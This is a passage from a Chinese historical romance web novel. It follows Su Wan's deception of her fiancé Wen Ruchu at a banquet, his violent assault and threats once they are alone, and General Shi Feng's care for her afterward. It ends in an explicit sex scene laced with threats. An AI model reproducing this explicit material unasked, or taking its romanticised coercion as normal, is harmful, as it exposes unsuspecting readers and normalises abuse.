无霜抱怨道：“不管怕不怕，这许多人都在，难道他不知避嫌的道理？他又不比文竹的身份状况，怎可这般与小姐亲近，分明是不把小姐的命当回事。”
是啊，他又怎会在乎她的死活呢？
苏绾俯瞰酒楼，一派醉酒笙歌。繁华落尽处，温如初一身月白锦袍，风度翩翩，楚楚谡谡，方步徐徐而来。
23. 饭局
“绾绾。”
温如初剪着手臂，立在楼梯口，桃花眼仰望佳人，笑意熏熏，“我来迟了些，等急了吧？”
苏绾摇摇头，弱柳扶风般扶着廊柱，“念哥哥，好久不见，你可还好？”
“是有一点久。”温如初趸上楼梯，踱步苏绾面前，顺势揽住腰束，耳鬓厮磨道：“自纳征以来，将近俩月未见，你想不想我？”
苏绾羞涩垂眸，两颊红云融融，“嗯。”
才子佳人登对，养了在座宾客的眼。高谈阔论的公子哥，见了登科状元，自然相形见绌。旁边作陪的美人，钦羡他潇洒不俗，亦忍不住频频抛媚眼。
一时间，一双妙人成为酒楼目光专注的焦点，窃窃私语的对象。
然而，在众多投射而来的艳羡视线，与啧啧赞叹声音包围下，苏绾感觉到身后一道独特的冷戾目光，伴着若有似无的嗤笑，让她如芒在背，浑身不自在。
她挣脱开束缚，佯作羞怯，“这里人多，进屋再说。”
温如初剪着一条胳膊，捏了捏苏绾的鼻尖，勾唇道：“怕什么？满京城皆知，你是我温如初的未婚妻。不日里，我就要娶你过门，哪有这许多顾忌？”
话虽如此，温如初还是牵着苏绾的手，一同步入雅间，留无霜在一旁伺候，小二开始传菜。
案边坐着京卫指挥使时枫，不知是不是饿坏肚子，还是别的什么原因，让他有点不耐烦。男人脸色微青，一杯接一杯豪饮。
温如初起初一愣，很快镇静下来，月白袍子一甩，桃花眼眸弯了弯，“今日真是难得，什么风吹来榆白？”
时枫举着青瓷酒盏，掀眸瞭了他一眼，“你还有脸说？为兄记得，纳征那日，有人信誓旦旦承诺醉仙楼一聚。我在家沐浴更衣斋戒两个月，也没见到请柬模样，只好自己厚着脸皮来了。”
“抱歉抱歉。”温如初引苏绾落座旁边，自己坐在时枫对面，笑眼睇他，“我一直想着你呢，帖子下了几次，都被贵府仆从挡了回来，言将军忙于应酬兵部尚书和五军都督，无暇赴我小小侍郎的宴席。捡日不如撞日，今儿个正好与榆白一醉方休。”
他亲自设局拦截温如初，抓住空暇先到一步，就为见苏绾一面。在没弄清楚那疯婆娘胡乱瞎搞的原因之前，他绝不会善罢甘休，哪怕是直面温如初。
三人坐在一处，彼此各有心事，沉寂半晌也无人说话。
酒过三巡，温如初放下酒盏，“我今天遇到一件奇事，榆白有没有兴趣听一听？”
时枫捏着酒盏不言语，鼻腔“哼”一声敷衍了事。
温如初道：“礼部徐尚书的小儿子徐引，任正五品太常寺少卿。徐尚书奉旨典选浴兰节供品祭祀，下放给太常寺责办。谁知徐引贪墨朝廷供银，转手上交一批腐烂果品，残次香供，被司礼监的太监抓个正着，召锦衣卫送进诏狱。徐尚书心疼儿子，一早找上我的门，要我拿着供银账目，去诏狱监管对账。”
实际上，徐尚书最初拜求的人，并非温如初，而是京卫指挥使时枫。因锦衣卫隶属上直卫，原则上来讲，受京卫指挥使管辖。
时枫替徐尚书指条明路，供银历来由户部礼部共同监管，账目出了问题，应由两部联合监察，防止锦衣卫单方面夸大其词，暗箱操作。
徐尚书如梦初醒，对时枫感激不尽，拜了又拜。这才坐着轿子拐去户部，一把鼻涕一把泪，哭求户部侍郎温如初救命。
时枫冷冷道：“徐引乃庸才，人赃并获，有何好申辩？想必这过堂审问也索然无味，不值一提。”
温如初挑眉睐他，“急什么，这只是开场，后面的戏，精彩纷呈，管保你叫好。”
他继续说道：“我到了诏狱，锦衣卫镇抚使正审问徐引。那徐引纨绔子弟，受不得刑罚，一鞭子下去全都招了。原来他同徐尚书一房小妾私通有染，小妾唆使他贪墨供银，一来中饱私囊，二来假若东窗事发，只将责任全部推到徐尚书身上，反正老子护犊子，总不会眼睁睁看儿子送死。他二人计划天衣无缝，可惜小妾看错男人，机关算尽，反送了卿卿性命。”
这结局倒是让时枫始料未及，以为不过是一出“贪心不足蛇吞象”，未曾想结局却是“算伊浑似薄情郎”。
时枫停杯一问：“徐尚书知否？”
温如初掀眸凉凉睇他，“知道如何，不知道又如何？最毒妇人心，焉知枕边人是否同床异梦，与你一心齐？保不准表面曲意逢迎，暗地勾引奸夫，意图谋财害命。”
时枫叹道：“徐尚书兢兢业业，为国家社稷殚精竭虑，却落得晚节不保，子弑父，妾叛夫下场。所谓红颜祸水也。”
趁着他二人闲聊，苏绾细细琢磨一番，温如初约她见面，必是准备着过问大理寺狱一案，只是眼前被时枫的突然出现所阻挡。
按着温如初的性情，绝不会当着外人的面，对她色厉内荏地审讯。今日这局“鸿门宴”，恐要流局。
她须前方引导恶鬼，一步一步掉进陷阱。
“红颜祸水，说得不错。”温如初伸手揽苏绾的肩膀，半个身子凑近，暧昧道：“绾绾绝不会这般对我，是吗？”
苏绾下意识地侧身一躲，差点跌下凳，慌慌张张坐正，抬手又打翻酒盏，沾染一身糯米酒腥。无霜见状，赶紧拿出绢帕，跪在地上给苏绾擦拭。
温如初觑着她的窘迫，剪了剪桃花眼眸，伸出素白手指，勾起苏绾的下颌，看了又看，“绾绾有些心不在焉呐。”
放下手，熏风解愠道：“是因为我最近冷落了你吗？”
苏绾星眸一滞，万般情绪涌上心头，似有难言之隐，突然伸手推开温如初，神色悲戚道：“绾绾有罪，绾绾对不起念哥哥。”
温如初微微惊诧，勾唇道：“你怎么了？”
“十多日前，绾绾乔装打扮，街头摆摊算命。被时将军抓捕入狱。狱中绾绾不思悔改，冲撞前来探视的母亲，迫不得已写下悔婚书。”
星眸含泪，凝望温如初，“念哥哥愿意原谅绾绾，绾绾无以回报，唯有今生今世不舍分离。”
时枫冷眼睇着他二人暧昧，牙齿咬得紧紧，恨不得掀翻桌案。又闻佳人哭断柔肠，然而扶乩一案已撤销，大理寺呈报三司，未留半点案底。她竟然主动揭开伤疤，究竟为哪般？
“既然你自己提起，那我倒要问你一句。”温如初攥住苏绾的手腕，“你冒着被抓的风险，假扮算命先生，街头行骗揽财，意欲何在？”
苏绾头埋得很低，“绾绾……心思无他。”
“绾绾，其实你不想同我成亲，对不对？你的目的只有一个——逃婚。”
“我没有。”苏绾咬着灰白嘴唇，细细吐出几个字。
“真的没有吗？”
“我可曾亏待过你一分一毫？我甚至跟苏家提出废止嫁妆，彩礼翻倍。”
“你告诉我，你要钱做什么？嗯？”
苏绾挣扎着抽回手，揉搓泛红的手腕，目光幽怨凄婉，“念哥哥，你好凶啊。”
无霜跪倒在地，哭道：“姑爷，你冤枉小姐了，小姐她从未想过离开姑爷。”
“小姐曾说过，嫁给姑爷，是她一生梦寐以求的愿望。怎么会想着逃婚呢？”皱巴小脸淌满泪水，写满委屈与无助。
无霜扯住苏绾的衣袖，泣道：“小姐甘冒天下之大不韪，天桥行此险径，是为了……”
“霜儿，不要再说了。”苏绾急力伸手去遮她的嘴，多说无益，何必辩白，让人瞧不起。
“绾绾没有逃婚，也没有偷人。”苏绾低着头，咬着嘴唇，鬓发刘海遮挡住她的眼。
温如初一愣，桃花眼眸翻了翻，端起锦白的袍袖，仔细回味她的那句话。
她说她没有逃婚，诚然，没被抓住把柄前，她绝不会轻易承认。
她还说她没偷人，这就有点意思了，他可从未指责过她这一点。
此地无银三百两。
假若逃婚与偷人能够相提并论，那么说明两者之间存在必然联系，被人抓包一处，另一处自然败露。
结论不言而喻：逃婚为偷人，偷人因逃婚。
“你在说什么疯话？”温如初眼眸一沉，锦白袍子一甩，“逃婚总要有个缘由，不为偷人——”
“难道是因为我的错？我对你不够好，还是，你觉得我配不上你？”
苏绾的头摆得很低，心却高高揪起，如颠簸风浪中的一叶孤舟。
“说话！”温如初拳头一砸桌案，震动酒盏酒壶翻倒倾覆，酒水洒满桌。他虽外表看着纤细，内里其实练过几年功夫，手劲较普通人大一些。
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苏绾吓得哆嗦，像只受惊的玉兔，全身炸毛缩成一团，瑟瑟发抖。
“不，不是，绾绾不是那个意思。”
“那你又如何解释，逃婚的理由？”他渐渐失去耐心，双手紧紧攥拳，搭在桌案上，浸湿一片酒腥味。
“没有，没有逃婚。念哥哥，你要相信我。”
她的声音越来越低，渐渐地，低进尘埃里，揉成啜泣。像呜咽的猫叫，细细碎碎，挠得时枫心尖不是滋味。
他摩挲束腕镶嵌绿松石，冷冷道：“她都说了没有，你还逼她作甚？”
“榆白，你不用替她说情，她谎话连篇，没有一句实话。”温如初咬牙切齿道。
“从前她不是这样的，不知遇见什么不三不四的人，被猪油迷了心。纳征那日你也看见了，奸夫领进门来羞辱我，士可杀不可辱！”温如初一副恨铁不成钢的样子，气得脸色铁青。
“如今她跌落至坑蒙拐骗地步，我再不去管她，只怕有朝一日她做出伤天害理的事情。一步错，步步错，万事休矣，忒折煞我心。”温如初惨白的脸上，写满无奈与惋惜。
时枫觑着他的发小，揣摩其肺腑之言，找不到一点错处。爱之深，责之切，当真是一位值得托付终身的良人佳婿。
可是，他并不想放开手，无论对方是不是兄弟。
时枫拍拍温如初肩膀，破天荒地安慰道：“她并非这般不堪，你想多了。”
“纳征那日我也在场，偷人一事荒诞不经，众目睽睽之下，奸夫能逃去何方？”
“天桥占卜乃本人亲自监办的案子，不过就是哄着几个生意人，能有多大罪过？”
“我敢以性命担保，她并没有做过任何对不起你的事，是你多心了。”
言语恳切中肯，完全不似“冷面阎罗”所为，倒让温如初始料未及，停下风霜刀剑的逼问。
苏绾低低地啜泣，泪水似断线珍珠，颗颗滚落，浸湿烟罗绮云裙。男人沉稳的声音传入泪人儿耳畔，星眸几不可闻地轻轻一弯。
苏绾突然起身，跪伏温如初膝下，“念哥哥，绾绾知道错了，再也不敢了，你原谅我，好不好？”
温如初睨着她的哭脸，“你哪里错了？”
苏绾悲道：“绾绾辜负了念哥哥的一片真心，占卜行骗确凿，绾绾不敢否认，逃婚真没的，勾引他人万万不敢。”
“我要赚钱，实为购买一种西夏进贡细如蛛丝的金线银线，以及苏州十年之间筛选最精细蚕丝织就的丝绸，缝制一件世上绝无仅有的嫁衣，绣满龙凤鸳鸯图案，点缀珠宝锦绣，价值连城，方能配得上念哥哥的宠爱。”
佳人哭得梨花带雨，星眸晶莹含泪，鼻尖红润剔透，真真我见犹怜。清风吹拂衣裙摆动，莲叶何田田，眼泪化作一颗颗露珠，出水芙蓉般柔美。
一瞬间，温如初幡然醒悟。
那副矫揉造作的神情，都是她装出来的，不过为博取同情的手段。
她先使一招“激将法”，成功激起他的愤怒，再来一出“苦肉计”，引得旁人怜爱护花之心。
她何时变得这般诡计多端？
他将这份疑虑按下不表，面上装作松口气，扶起苏绾，环抱腰束，“原来如此。”
温如初叹道：“你怎么那样傻？缺钱跟我说一声，宫里提督织造太监与我有交，什么样式的布匹丝线弄不到？用得着你赚钱去买？”
苏绾哭道：“伸手要来的，怎比得上费心挣得的？绾绾想给念哥哥一个惊喜，谁知弄巧成拙，惹出天大的麻烦。绾绾知错了。”
“知错就好，下回再不许这样。”温如初将苏绾揽在怀里，神情充满痛惜、怜爱、与欣慰。
一双妙人儿惺惺相惜，没人注意到，被晾在一边的时枫。许是被一番秀恩爱闪了眼，时枫怒道：“丢人现眼的东西，演这出苦情戏给谁看？”
他霍然站起身，阵风踱步出门，冷冷丢下一句：“以后这种宴席不要请我，请我也不会来。”
温如初摆手，“榆白慢走，改日再请你。”言毕，搂着苏绾，缠缠绵绵难分离。
时枫出得醉仙楼，晴雷备好马车，“爷要回将军府？”
时枫瞟了一眼雅间方向，低声道：“先躲进巷道藏起来，跟着苏府的马车。”
24. 癫狂
醉仙楼。
苏绾呆呆地坐在圆凳上，心里七上八下，温如初不会轻易放过他。
“念哥哥……”苏绾低低地唤道，“绾绾身体偶感不适，可否先行告退？”
“绾绾。”
温如初手里把玩一根象牙箸，不断敲打桌面，漫不经心道：“近来，你变得愈加不听话，外人面前折损我颜面，让我忒下不来台。”
苏绾一惊，“绾绾不敢，念哥哥何出此言？”
象牙箸寻到一条桂花鱼，箸尖对准鱼眼睛，用力一插，不当不正立在空中。鱼眼睛爆浆，掀起浓重的鱼腥味，溅了烟云裙满身。
无霜早被赶出房间，在楼下等候。这会子没人伺候苏绾，她只得自己拿绢帕反复擦拭。
“不敢？”温如初丢了象牙箸，桃花眼眸闪烁阴冷寒光，“一早就该解释嫁衣的问题，可你并没有。偏要搬出所谓‘偷人‘一事，妄图混淆是非，博取同情。”
“你心里打的什么算盘，我会不知道吗？”
他的语气，不轻不重，不急不缓，完全不似方才那般疾言厉色，温润如玉好像换了个人一般。
这才是温如初真正本色，像一条盘踞岩穴的毒蛇，缓缓趋向猎物，伺机抛出致命一击。
她低着头，捏着衣角，细声道：“绾绾没有任何打算，念哥哥多心了。”
“还敢顶嘴？翅膀长硬了。”修长白皙手指屈起，轻敲佳人螓首，“我初见你时，你乖顺听话，笑容纯真，一下子吸引我的视线。”
凉凉的指肚缓缓划过光洁额首，高挺鼻梁，小巧鼻尖，触碰朱红唇瓣，令苏绾微微一颤。
“为得到你，我不惜春衫践泥涂，折腰臣服于令人作呕的苏家，任凭他们驱使草木。”
忽然眼眸一沉，四指狠狠捏住脸颊，手指肚用力挤压人中，力度过大，疼得苏绾尖叫不止，“啊——”
“我为你付出那么多，你回报我的是什么？嗯？”
“撒谎，欺骗，隐瞒……”
“还学会利用男人的同情心，公然骑到我头上来。”
苏绾疼得受不了，情急扯弄掐在人中的手指，却被另一只手抓着发髻摔在桌案。“嘭”的一声，额面撞上硬物，鼻腔两条血柱倏地流下来，滴答滴答，烟罗裙斑斑点点。
温如初揪起苏绾的发髻，贴着脸颊道：“我的耐心有限，你再跟我调皮捣蛋，耍那些小花招的话——”
“我会让你后悔活在这世上。”
鼻血淌进喉咙里，呛得苏绾猛烈咳嗽，眼泪横流。那只纤白的手掌却又松开，轻拍苏绾后背，体贴地帮她缓解咳唾。
“逃婚也好，偷人也罢。我权且相信你一次，就当补偿你之前的乖顺。”
“如果你想着要离开我，”手掌停在后背，冰冷声音一字一顿敲击苏绾的后脑，振聋发聩，“天涯海角，我都会抓到你。”
“绾绾，你永远别想逃出我的手掌心。”
耳边反复回响这句话。
他说到做到。
温如初是什么人？
他将朝廷官员玩弄于股掌之间，手段高深莫测。六部尚书算什么东西，内阁七子要么落罪，要么提前告老还乡。司礼监的太监们，挨排跪着求他庇佑。皇子们死的死，废的废，最后他和皇后私生子被推举继位称帝，他做了摄政王。
她永远都逃脱不掉，他的爪牙。
阖合眼帘，流绪微梦，浓厚硝烟滚滚，焦糊气味四散。天地轮回，血霭曈曈，茫茫漫漫迷途。
苏绾似掉进一个永不休止的梦境，八荒六合混沌未分，冥冥之中，传来一声怒吼，如盘古初开，惊破天地。
“苏绾，你给我快点醒来！”
正当苏绾迷迷糊糊之际，侍从远舟急急赶来酒楼。
远舟拜道：“主子爷，奴才适才接到镇抚使急报，言礼部尚书大闹诏狱，直言证据有诈，已昏死堂中。这会子诏狱乱成一锅粥，宫里面各方均已到位，司礼监的掌印太监，点名要主子爷到场查证。”
温如初一愣，户部礼部联合监管供银，礼部出了事情，他户部难逃干系。
温如初召小二安置苏绾，他和远舟趟过长廊，下楼趸入马车，匆匆先行一步。
楼下的无霜见温如初离去，急忙去找苏绾，却被小二拦住，“姑娘莫走，老爷吩咐小的护送客人回家，敢问府上家居何处？叫辆马车，还是轿子？”
待无霜打点完事，正要奔上二楼，冷不防被身后一道黑影抢先一步。
“楼下等候，莫要打扰。”黑影停了一息，“晴雷会安排照顾你。”
说完，黑影三步并作两步，阵风般窜上楼梯，直奔二楼雅间方向。
无霜抬眼一瞧，惨绿少年身穿曳撒服，腰挎雁翎刀，风一样伫立面前，遮挡半片耀眼的阳光。
少年冲她粲然一笑，露出洁白牙齿，伸手做一个“请”的姿势。
无霜知其没有选择余地，微微点头示意，脚步轻快越过。
绣衫罗裙飞扬，似蝴蝶翩跹花丛，晴雷闻到一股淡淡的栀子花清香味。
少年摸摸鼻尖，握紧雁翎刀柄，沉稳跟过去。
*
苏绾昏昏沉沉，细身趴伏香案。人群来去匆匆，无人在意她的存在。
脑中一片混乱，意识逐渐迷蒙剥离，思绪堕入深海沉沦。如一根轻羽，飘飘荡荡，摇摇曳曳，随波滂渤怫郁，上下颠簸流离。
冥冥之中，一点火花扑闪。
光晕不断跳动，扩大，蔓延至天际。
光辉漫及之处，万物湮灭，世界陷入沉寂。
苏绾乍然惊坐起，四处寻找庇佑之所，躲避那吃人的光晕。
她屈膝跪伏案下，两手不断摸索攀爬，爬上西侧塌床。
又摸到一张炕桌，四四方方，下底中空。
苏绾抓到救命稻草，她努力蜷缩一团，欲往炕桌底下钻，认为那里是天底下最安全的地方。
才刚探进脑袋，突然被一股蛮力扦住双腿，拔塞子一般抽出，跌进漆黑硬实的胸怀。
苏绾下意识张嘴喊叫，却被大掌死死封口，发不出半点声音。
“闭嘴，不要命了。”低沉雄浑声音贴近耳际，落雪青松的气息缭绕周围。
那股松木气息，激发苏绾记忆深处的恐惧，油腻的松脂滴落螓首，啪嗒啪嗒，倏地钻入深海。
她窥见天地幻化出高大骇人的巨兽，向她伸出锋利爪牙，张开血盆大口要吃她。
苏绾拼命挣扎踢打，同那巨兽纠缠斗狠。
时枫腹部双股两臂各处，不知遭受多少抓挠，浑身肌肉紧绷，青筋暴起，坚硬如盔甲。
“你再折腾，我就把你丢出窗外。”
苏绾充耳不闻，眼睛瞪得大大的，几乎没有眼白可见。眉头紧蹙，额间布满细密汗珠。嘴唇索索，发出微弱呜咽声。浑身僵硬不动，呼吸急促而浅，胸脯起伏跌宕。手指紧紧地反抠他的衣襟，指甲深深地陷进布料。
“苏绾，你给我快点醒来！”男人咬牙低低怒吼。
原来时枫自从观摩苏绾上演的一出“苦肉计”，方知疯婆娘的用心良苦。苏绾先是主动提起大理寺狱一案，引导温如初猜测意图，牵出“逃婚说”，再以“缝制嫁衣”为理由，自圆其说。
破解谜题关键，在于嫁衣的材料。
他清楚的记得，苏绾亲口说过：她旧年得人赠与西夏进贡的丝线，及苏州十年内产出最好的丝绸，打了那条墨金络子。
可见，“嫁衣说”完全杜撰，根本站不住脚。。
他已成功接收到苏绾想要传达给他的信息——她费尽心思赚钱，原因为逃婚。只是，唯有一点他还未想清楚——她为何逃婚？
他坐在马车里等候良久，不见苏绾出来，却见温如初同侍从远舟匆匆乘车离开。
时枫急急冲上二楼。
一打眼，睇见苏绾佝偻身子，好似脱壳乌龟，拼命往炕桌底下钻。
时枫忍着笑，本想借机嘲弄她，谁知伸手一拉，拉出惊弓之鸟。
苏绾两耳不闻，两眼不见，像只受伤的野猫，张牙舞爪，谁靠近就咬谁。
时枫只好骑身压在她背后，右手捂住她嘴巴，左手反制她两臂，姿势十分不雅观。
苏绾侧脸趴俯塌床，两眼不住淌泪，满脸绝望和恐惧。发梢被汗水和泪水湿润，成簇成绺聚集，唇角被什么人咬破，缺少一块皮肉。鼻子嘴唇附近，粘连一块块风干的血迹，衣裙领口处斑斑点点，裙摆处散发一股鱼腥味。
美人断肠，支离破碎。
男人蓦然感到钻心的痛惜与愧疚，凑近耳畔，轻声道：“莫怕，我不会伤害你。”
许是觉得话语太过柔软，与自己威严形象不符，又冷冷说道：“咱俩之间这笔账，等你脑子清醒再算。”
然而苏绾并没有像往
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常那般回怼，瞳孔翻涌着痛楚和悲苦，啪嗒啪嗒流眼泪，汇入男人心底深海。
他也不能一直这样压着她不动，好言相劝：“我放开手，你不许大叫，听见没有？”
试着松开些间隙，可甫一起身，苏绾立即不安分起来，腿脚开始乱蹬。踢到歪在一边的炕桌，发出“滋啦”刺耳的响声，不用想，小腿必是红肿一片。
时枫沉沉地呼出口气，再次掀起眼眸，眸底蓄积炽热火焰，一字一顿道：“你再不老实，我就不管你了。”
这次苏绾似乎听懂了，安安静静地趴着。想是折腾乏了，没得力气再挣扎，又或者方才那一踢，力度过大，伤到她筋骨。
见她不再闹腾，时枫试探道：“这里很安全，没人伤害你。我松开手，你不许叫，也不许踢，听见没有？”
有上次前车之鉴，时枫并不十分信任她。他不怕苏绾发癫，小小女子，力气比猫咪大不了多少。他担心自己手重，失手伤害她。
他缓缓松开手掌，抽回手臂，又将苏绾翻过身，仰面躺好。全程好似倒扣斗笠抓捕麻雀，蹑手蹑脚，生怕惊醒猎物。
万幸苏绾并未喊叫，任他摆弄也不吭声。
时枫右手已麻木，险些抬不起来。双肘强撑住身体，两腿分开，跪在榻上。抬起左手，轻轻抹了抹小脸，揩去眼角残泪。又用丝袍袖口，仔细擦拭唇际血痕。
伤痕累累，触目惊心。
他不过离开短短一刻，怎么就落得这般破落不堪模样。
“苏绾……”
时枫心内烦乱，气血上涌，非要将那罪魁祸首凌迟处死不可。
星眸凝望他，眼神混沌无光，思绪似在宇宙某处飘荡。男人手掌在她眼前晃了晃，乌黑瞳仁麻木不仁，没有一丝波澜。
他起先疑心插在身体里的针没有除尽，可他早先旁敲侧击询问过她，确定是七根没有错。老道也不至于在数量上缺斤少两。
后来又怀疑她自己吃了合欢散，然而她的反应与服用合欢散症状不符，无论量多量少，服用□□的第一反应，都是霪欲充盈，精满自溢，身体燃烧邪火。
时枫纵横沙场十来年，见过无数伤兵逃兵，轻者对战争谈虎色变，重者遭受精神损害，时常陷入崩溃状态。兵营里有种说法叫做：营啸。一声嚎叫，引发士卒癫狂，自相残杀，大军一溃千里。
他深知精气神乃人之根本，一旦精神防御城墙坍塌，其人萎靡不振，如堕混沌。
苏绾是被人吓破了胆子。
“苏绾，你搞什么鬼？存心气我吗？”他抿了抿嘴唇，试探道：“你在怕什么？父母责罚，还是刑讯逼供，亦或三千貲金，或者……”
男人凤眸一沉，嘴边缓缓吐出两个字：“结婚。”
果不其然，苏绾身子骤然一顿，眼眸惊恐万状，泪珠大颗大颗蹦出，“我死也不要结婚。”
“为什么？”
“不要结婚，不要结婚。”苏绾像转磨的驴子一样，不停重复这四个字，越说越激动，大有病情复发之势。
时枫唯恐她又癫痴，低声下气哄她道：“好好，不结婚不结婚，明日退婚，如何？”
苏绾眸子陡然亮了亮，嘴角竟挤出一点笑容。桃花面颊更显娇俏可爱，海棠醉日，少女独有的狡黠。
时枫登时感觉自己是大傻瓜，被蛇蝎美人骗得团团转，他甚至怀疑她装疯卖傻。
男人没好气地质问道：“温如初一表人才，官运亨通，谋求嫁他的女子从南城门排到北海，你却偏偏想要退婚，到底打的什么鬼主意？”
话语既落，苏绾脸色骤变，双手搂住时枫脖颈，两腿搭上背脊，“叫他走，你快叫他走，我不要和他结婚，死也不要！”
时枫真想抽自己耳光，好不容易安抚住她，转眼间前功尽弃。
苏绾紧紧贴在他身上，葱白手指掐进后背皮肉，生怕他会逃走一般。时枫不得不腾挪出一条手臂，环绕抱着她，好似父亲抱幼童，起身倚靠塌背而坐，放她在股间，抚摸她散落长发。
“走了走了，我将他赶得远远的，再不会回来。婚已经退了，没人娶你。”
苏绾下颌架在他宽阔肩膀，嗫嚅道：“真的吗？你不要骗我。”
时枫轻拍她后背，声如温玉，“真的。我从来不骗人。”
苏绾终于乏了，伏在男人肩头，渐渐地，睡着了。
梦里花落知多少。
25. 契约
申时初刻，廊檐悬挂艾蒿并菖蒲，香气氤氲扑鼻，驱散邪灵瘟疫。榴花艳丽如火，垂柳柔美如仙，绿杨飘舞如烟。
街边行人如梭，小贩吆喝声连绵不绝：“卖粽子咧～”
叫卖声嘹亮高亢，吵得苏绾不得安宁，斑驳阳光照进雅间，让她睁不开眼。趴伏在软褥间，身子扭来扭去，柔软舒适，暖意盎然。
“醒了？”
耳边响起男人冰冷深沉的声音，带一丝倦意。
是谁？苏绾思维停止一瞬，忽然意识到，自己正趴伏男人胸膛。瞬间全身血气倒流，猛然惊坐起，从男人身上滑下，“流氓！”
男人躺卧木塌，翘着二郎腿，头枕双臂，掀眸望着苏绾，嘴角一斜，“不错，是有个女流氓，非要往我怀里钻。”
“贼喊捉贼。”轻飘飘四个字。
苏绾定了定神，蓦然感到浑身散架一般，酸软无力，她没好气似的嗔道：“你为何躺在这里？”
僵卧一个多时辰，四肢肌肉早已麻木，时枫从塌上艰难爬起身，一边活动筋骨，一边冷声道：“你应当问我，‘你为何困在这里？‘”
天晓得，苏绾昏睡他怀里，身子骨根本无法落地。轻轻一挨塌床，立刻炸毛惊醒，哭着喊着叫疼，直嚷嚷“针刺死我”，满嘴胡言乱语，颠三倒四。
那针，不是早都取出来了吗？分明就是装蒜。
然而时枫没得办法，只好抱着她哄睡，后来实在撑不住，自己躺卧塌床，充当人肉褥垫，让苏绾趴伏身上，这才沉沉睡下。
苏绾努力搜寻脑海，记忆停留在被温如初训话，要她“乖顺听话”，后面发生的事，她一无所知，脑中空白。
可她明明记得，时枫先行离开宴席，临走之前还颇为不忿，叫嚣“以后别请他”。
她狐疑道：“你不是已经走了，还回来做什么？”
时枫单膝支立，搭坐在塌边，拎起炕桌上酒壶，斟满青瓷酒盏，举杯一饮而尽。
他掀眸睐着她，眼眸泛着一丝跅弛不羁，信口胡诌：“本将军接到线报，有一女歹匪，藏匿醉仙楼，手持合欢散，图谋仙人跳。”
“你说，我回来做什么？”
又在胡诌八扯吓唬她，苏绾翻了翻白眼，“不是两清了？怎么还翻旧账？”
男人嗤笑道：“亲你一口就能撇清罪孽？我竟不知天底下，有这等划算的买卖。”
苏绾举着小拳头抗议，“那你想怎样？梅开二度，将我再送进牢狱？又没抓我现行，我买合欢散留作自用，请问违反哪条律例法规？”
“你犯了本将军的律法。”男人垂眸。
“你以为仅凭一夜春宵，就能换得本将军心甘情愿为你卖命，与你做伥鬼？你想得美！你没有资格坐上牌桌，跟我讨价还价。扎进你身体里的七根针，别想着我会帮你取出来。天下没有免费的午餐，你须谨记这个道理。”
苏绾猛一抬头，瞥见那双深不见底的眼眸，犹如化不开的浓墨。
她懒得跟对方争辩，她买合欢散目的，根本不是为蛊惑他，她也没这个胆子，去跟一匹猎兽明争暗斗，她巴不得他赶紧放过她，不要再纠缠她不放。
细想一下，前前后后，她的确抱有那么一线希望，乞求他能帮她作证，拿下苏夫人。可这缕缥缈痴妄，早就葬送于那晚月明风清。
心一横，苏绾紧咬贝齿，高傲抬起头，“奴家敬仰将军威名，这才攀附将军庇佑。不曾想，将军徒有其表，银样镴枪头，中看不中用。”
“不过是几根细针罢了，奴家何必可着一棵歪脖树吊死。京城有名有姓的英雄豪杰，海了去了。未必都如将军一般，瞎眼不识抬举。”
“我看兵部尚书家的长子就很不错，任五城兵马司都指挥，有权有势有地位，人高马大，又讲义气。奴家去叩他的门，一准不会被拒绝。”
时枫眼眸愈加深沉，眸底泛出怵人阴鸷光芒。“咔嚓”一声，手里青瓷酒杯碎裂两半。好在酒杯中空，并未洇湿衣襟。
苏绾惊得一颤，抿了抿嘴唇，“愿赌服输，我也没什么好说的。既然你不肯领情，奴家不再打扰。桥归桥，路归路。从此咱们各走各的道，两不相干。”
她“哼”得一声，下地踩着绣鞋，摇曳往外走。
时枫眉头一蹙，伸出两手抓她的细肩，轻轻一拖，伴随一声尖叫，又将她拉回塌上。
“你干什么？”苏绾惊诧道。
“各走各的道，两不相干？”心里堵着一团火气，不断翻涌上滚，直要将五脏六腑烧成灰烬。
男人忽然大山一样欺身上来，咬牙切齿恨道：“招惹了我，还想一走了之？”
“兵部尚书的长子，是个龌龊下流大老粗，你竟敢拿他跟我比？不要命了！”
“本将军让你看看，京城的英雄豪杰，到底谁才更中用？只要你有命尝试。”
他的眼眸溢满熊熊烈火，恨不得将苏绾囫囵烧死。苏绾蓦然意识到，自己打开了一个不该被开启的盒子。
也许，她付得起午餐的价格。
她向来知道自己生得美，常常引来旁人艳羡目光。可她视这种天赋为祸端，宁愿选择平凡无奇度过一生。重活一世，她并非手无寸铁的软弱无能之辈，美貌成为她的武器，庇佑她走过艰难险阻。
她要让那些觊觎她的人，通通降服为裙下臣。
苏绾定了定神，“时将军，你若贪婪奴家的身子，大可不必这番折腾，折辱奴家颜面。”
时枫睨着她，“彼此彼此，你不也千方百计算计我？咱们算扯平。”
苏绾低低一笑，“你我之间，剪不断，理还乱，哪里就有扯平一说？将军怕是不知道奴家的厉害，招惹了我，将军恐怕难以退步抽身呢。”
女人像只柔软的狐狸，跪坐在男人身后，“将军口渴否？”等他反应过来，雪白臂膀绕上脖颈，柔软小舌探入耳际，深入浅出，令时枫寒毛乍立。
男人回手将女人拉入怀里，贴上她的檀口。唇齿相碰，时枫方醒悟那句话的涵义，心里骤然充满感激，期待雨露滋润他一片焦土。
苏绾的野心不止于此，玉舌一路下滑，直指男人喉结。时枫浑身一颤，仿佛雷霆灌顶，全身肌肉紧绷，显现优美线条。
前世温如初看中她的灵动小舌技能，起了歪心思，将她送进教坊司，请管教嬷嬷调教，学习俘获男人心的床笫技巧，专攻男人软肋。
“将军喜欢这样吗？”甜美音喉回荡，似一缕幽魂，钻入他五脏六腑，与他紧紧融为一体。
男人再也无法忍耐，囫囵撕烂衣裙阻碍，直直穿心而过。
“啊……”她蓦然感到疼痛，陌生又熟悉。两滴泪夺眶而出，不知出于懊悔，还是一种释怀。
“嗯？”
男人前行的脚步遭遇莫名阻力，仿佛上阵勇士遇到伏兵偷袭。然箭在弦上，不得不发。仗打到这一步，绝无鸣金收兵可能。
海浪翻涌，滂渤怫郁，一波未平，一波又起。男人手臂一挥，炕桌酒壶酒盏滚落，发出乒乒乓乓碎裂声。
“你真他妈的是个妖精。”
像是一段梦幻的长笛，宛转悠扬，时而高亢，明朗如晨曦第一缕阳光；时而低沉，柔美如夜晚清冷皎月。
“求将军轻一点。”哀怨的眼眸，淌出一滴软泪。
每一次推进，都是感官绝佳体验，穷途末路之际，呜呜咽咽的哭啼，也成为美妙乐章。
